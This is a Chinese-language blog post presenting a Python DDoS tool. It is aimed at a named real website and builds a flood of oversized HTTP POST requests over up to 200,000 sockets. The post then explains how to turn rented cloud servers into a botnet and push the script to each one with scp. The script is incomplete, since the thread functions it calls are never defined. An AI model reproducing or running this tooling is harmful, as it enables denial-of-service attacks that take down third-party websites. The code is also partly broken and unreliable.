python DDos網絡攻擊一般網站-1

DDOS原理講解

史上最全DDoS攻擊與防禦教程
DDoS攻擊的防護與本質解析
DDOS 攻擊的防範教程

思想很簡單,就是對構建多個socket鏈接後,並且每個socket對這個網站無限的發送信息,做一個死循環,瘋狂攻擊。以起到佔用他們網站資源鏈接的效果。

#!/usr/bin/env python
import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 200000    # 最大socket鏈接量
PORT = 80   
HOST = "www.ssyer.com"
PAGE = "/photography"
buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

# 多線程執行兩個函數
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())

conn_th.start()
send_th.start()

整合網絡殭屍和DoS攻擊——DDoS
如果覺得網絡殭屍ping和簡單的DoS還不夠力,我們把上面的網絡殭屍和DoS整合一下,成了傳說中的DDos。

在這裏插入圖片描述
DDoS, Distributed Denial of Service, 分佈式拒絕服務攻擊,亦稱作洪水攻擊。DoS攻擊與DDoS攻擊的區別就是,它是一對一的攻擊,而DDoS是分佈式的攻擊。

改進之處:

整合網絡殭屍和DoS攻擊;
實現每個肉雞進行多線程Dos攻擊botnetCommand(‘python Dos_constantConn_MutilThread.py’);

前提條件:

你要有不止一臺可以做肉雞的網絡服務器(可以到阿里雲、騰訊雲、華爲雲多註冊幾臺雲服務器,當肉雞)。
而且每個肉雞客戶端都可以運行python(一般linux服務器都自帶python運行環境)。

程序可能問題:

有時把dos.py程序批量發到各個肉雞服務器可能不成功,需要手工先發過去:scp dos.py [email protected]:~/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章